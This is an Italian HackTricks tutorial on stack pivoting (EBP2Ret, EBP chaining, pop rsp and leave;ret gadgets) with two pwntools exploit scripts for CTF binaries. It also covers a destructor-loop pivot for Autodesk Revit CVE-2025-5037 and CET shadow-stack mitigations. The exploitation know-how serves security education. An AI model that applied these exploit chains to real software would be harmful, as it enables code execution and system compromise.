Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 14 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l'esecuzione di più funzioni mediante l'uso accurato del frame pointer e della sequenza di istruzioni leave; ret.

Come promemoria, su x86/x86-64 leave è equivalente a:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

E poiché l'EBP/RBP salvato si trova nello stack prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.

Note

  • Su 64-bit, sostituire EBP→RBP ed ESP→RSP. Le semantiche sono le stesse.
  • Alcuni compiler omettono il frame pointer (vedi “EBP might not be used”). In quel caso leave potrebbe non comparire e questa tecnica non funzionerà.

EBP2Ret

Questa tecnica è particolarmente utile quando puoi alterare il saved EBP/RBP ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell'epilogo di funzione.

Se, durante l'esecuzione di fvuln, riesci a iniettare un falso EBP nello stack che punti a un'area di memoria dove è contenuto l'indirizzo della tua shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del pop), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave imposta RSP sulla posizione costruita e il successivo pop rbp decrementa RSP, facendo effettivamente puntare RSP a un indirizzo lì memorizzato dall'attaccante. Poi ret userà quell'indirizzo.

Nota che devi conoscere 2 indirizzi: l'indirizzo dove ESP/RSP andrà a puntare, e il valore memorizzato a quell'indirizzo che ret consumerà.

Exploit Construction

Per prima cosa devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterà qui e consumerà il primo ret.

Poi, devi scegliere l'indirizzo usato da ret che trasferirà l'esecuzione. Potresti usare:

  • Un valido indirizzo ONE_GADGET.
  • L'indirizzo di system() seguito dal return e dagli argomenti opportuni (su x86: ret target = &system, poi 4 byte junk, poi &"/bin/sh").
  • L'indirizzo di un gadget jmp esp; (ret2esp) seguito da shellcode inline.
  • Una ROP chain staged in memoria scrivibile.

Ricorda che prima di qualunque di questi indirizzi nell'area controllata, deve esserci spazio per il pop ebp/rbp proveniente da leave (8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo falso EBP e mantenere il controllo dopo che la prima chiamata ritorna.

Off-By-One Exploit

Esiste una variante usata quando puoi modificare solo il byte meno significativo del saved EBP/RBP. In tal caso, la locazione di memoria che memorizza l'indirizzo su cui saltare con il ret deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarla. Di solito il byte basso (offset 0x00) viene aumentato per saltare il più possibile all'interno di una pagina/area allineata vicina.

È anche comune usare una RET sled nello stack e mettere la vera ROP chain alla fine per rendere più probabile che il nuovo RSP punti dentro lo sled e venga eseguita la ROP chain finale.

EBP Chaining

Posizionando un indirizzo controllato nello slot del saved EBP nello stack e un gadget leave; ret in EIP/RIP, è possibile muovere ESP/RSP verso un indirizzo controllato dall'attaccante.

Ora RSP è controllato e l'istruzione successiva è ret. Metti nella memoria controllata qualcosa tipo:

  • &(next fake EBP) -> Caricato da pop ebp/rbp di leave.
  • &system() -> Chiamato da ret.
  • &(leave;ret) -> Dopo che system termina, muove RSP verso il prossimo fake EBP e continua.
  • &("/bin/sh") -> Argomento per system.

In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.

Questo è simile a un ret2lib, ma più complesso e utile solo in casi limite.

Inoltre, qui c'è un esempio di una challenge che usa questa tecnica con un stack leak per chiamare una funzione di vittoria. Questo è il payload finale dalla pagina:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 alignment tip: System V ABI richiede l'allineamento dello stack a 16 byte nei call sites. Se la tua chain chiama funzioni come system, aggiungi un alignment gadget (es., ret, o sub rsp, 8 ; ret) prima della call per mantenere l'allineamento ed evitare crash dovuti a movaps.

EBP potrebbe non essere usato

Come explained in this post, se un binario è compilato con alcune ottimizzazioni o con omissione del frame-pointer, EBP/RBP non controlla mai ESP/RSP. Di conseguenza, qualsiasi exploit che funzioni controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina usando il frame pointer.

  • Non ottimizzato / frame pointer usato:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Ottimizzato / frame pointer omesso:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il frame pointer è completamente omesso allora non c'è un epilogo basato su rbp attraverso cui pivotare.

Altri modi per controllare RSP

pop rsp gadget

In this page puoi trovare un esempio che usa questa tecnica. Per quella sfida era necessario chiamare una funzione con 2 argomenti specifici, e c'era un pop rsp gadget e c'era una leak from the stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Consulta la tecnica ret2esp qui:

Ret2esp / Ret2reg

Trovare pivot gadgets rapidamente

Usa il tuo gadget finder preferito per cercare i classici pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Esempi:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Una robusta strategia di pivot usata in molti CTFs/exploits:

  1. Use a small initial overflow to call read/recv into a large writable region (e.g., .bss, heap, or mapped RW memory) and place a full ROP chain there.
  2. Return into a pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) to move RSP to that region.
  3. Continue with the staged chain (e.g., leak libc, call mprotect, then read shellcode, then jump to it).

Windows: Destructor-loop weird-machine pivots (Revit RFA case study)

Client-side parsers sometimes implement destructor loops that indirectly call a function pointer derived from attacker-controlled object fields. If each iteration offers exactly one indirect call (a “one-gadget” machine), you can convert this into a reliable stack pivot and ROP entry.

Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Crafted objects of type AString place a pointer to attacker bytes at offset 0.
  • The destructor loop effectively executes one gadget per object:
asm
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Due pivot pratici:

  • Windows 10 (32-bit heap addrs): gadget “monster” disallineato che contiene 8B E0mov esp, eax, infine ret, per pivotare dal call primitive a una heap-based ROP chain.
  • Windows 11 (full 64-bit addrs): usare due oggetti per guidare un constrained weird-machine pivot:
    • Gadget 1: push rax ; pop rbp ; ret (sposta il rax originale in rbp)
    • Gadget 2: leave ; ... ; ret (diventa mov rsp, rbp ; pop rbp ; ret), pivotando nel buffer del primo oggetto, dove segue una conventional ROP chain.

Consigli per Windows x64 dopo il pivot:

  • Rispetta lo 0x20-byte shadow space e mantieni l'allineamento a 16 byte prima dei siti di call. Spesso è conveniente posizionare i valori letterali sopra l'indirizzo di ritorno e usare un gadget come lea rcx, [rsp+0x20] ; call rax seguito da pop rax ; ret per passare indirizzi di stack senza corrompere il flusso di controllo.
  • I moduli helper Non-ASLR (se presenti) forniscono pool di gadget stabili e import come LoadLibraryW/GetProcAddress per risolvere dinamicamente target come ucrtbase!system.
  • Creare gadget mancanti tramite un thunk scrivibile: se una sequenza promettente termina con una call attraverso un puntatore di funzione scrivibile (es. DLL import thunk o puntatore di funzione in .data), sovrascrivi quel puntatore con un'istruzione benigna a singolo passo come pop rax ; ret. La sequenza allora si comporta come se terminasse con ret (es. mov rdx, rsi ; mov rcx, rdi ; ret), il che è inestimabile per caricare i registri arg Windows x64 senza corrompere gli altri.

Per la costruzione completa della catena e esempi di gadget, vedi il riferimento sotto.

Modern mitigations that break stack pivoting (CET/Shadow Stack)

Le moderne CPU x86 e gli OS adottano sempre più CET Shadow Stack (SHSTK). Con SHSTK abilitato, ret confronta l'indirizzo di ritorno sullo stack normale con uno shadow stack protetto dall'hardware; qualsiasi discrepanza genera una Control-Protection fault e termina il processo. Perciò, tecniche come EBP2Ret/leave;ret-based pivots si schianteranno non appena il primo ret viene eseguito da uno stack pivotato.

  • Per contesto e dettagli approfonditi vedi:

CET & Shadow Stack

  • Verifiche rapide su Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Note per lab/CTF:

  • Alcune distro moderne abilitano SHSTK per i binari compatibili con CET quando l'hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di avvio del kernel nousershstk, o abilitato selettivamente tramite i tunable di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su target di produzione.

  • Tecniche basate su JOP/COOP o SROP potrebbero ancora essere applicabili su alcuni target, ma SHSTK rompe specificamente i pivot basati su ret.

  • Nota Windows: Windows 10+ espone user-mode e Windows 11 aggiunge kernel-mode “Hardware-enforced Stack Protection” basata su shadow stacks. I processi compatibili con CET prevengono stack pivoting/ROP al ret; gli sviluppatori optano per queste protezioni tramite CETCOMPAT e politiche correlate (vedi riferimento).

ARM64

In ARM64, il prologo e gli epiloghi delle funzioni non salvano né ripristinano il registro SP nello stack. Inoltre, l'istruzione RET non ritorna all'indirizzo puntato da SP, ma all'indirizzo contenuto in x30.

Pertanto, di default, abusando soltanto dell'epilogo non sarai in grado di controllare il registro SP sovrascrivendo dati nello stack. E anche se riesci a controllare SP, avresti comunque bisogno di un modo per controllare il registro x30.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Il modo per eseguire qualcosa di simile a uno stack pivot in ARM64 sarebbe poter controllare il SP (controllando un registro il cui valore viene assegnato a SP o perché per qualche motivo SP prende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell'epilogo per caricare il registro x30 da un SP controllato e RET su di esso.

Nella pagina seguente puoi vedere l'equivalente di Ret2esp in ARM64:

Ret2esp / Ret2reg

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks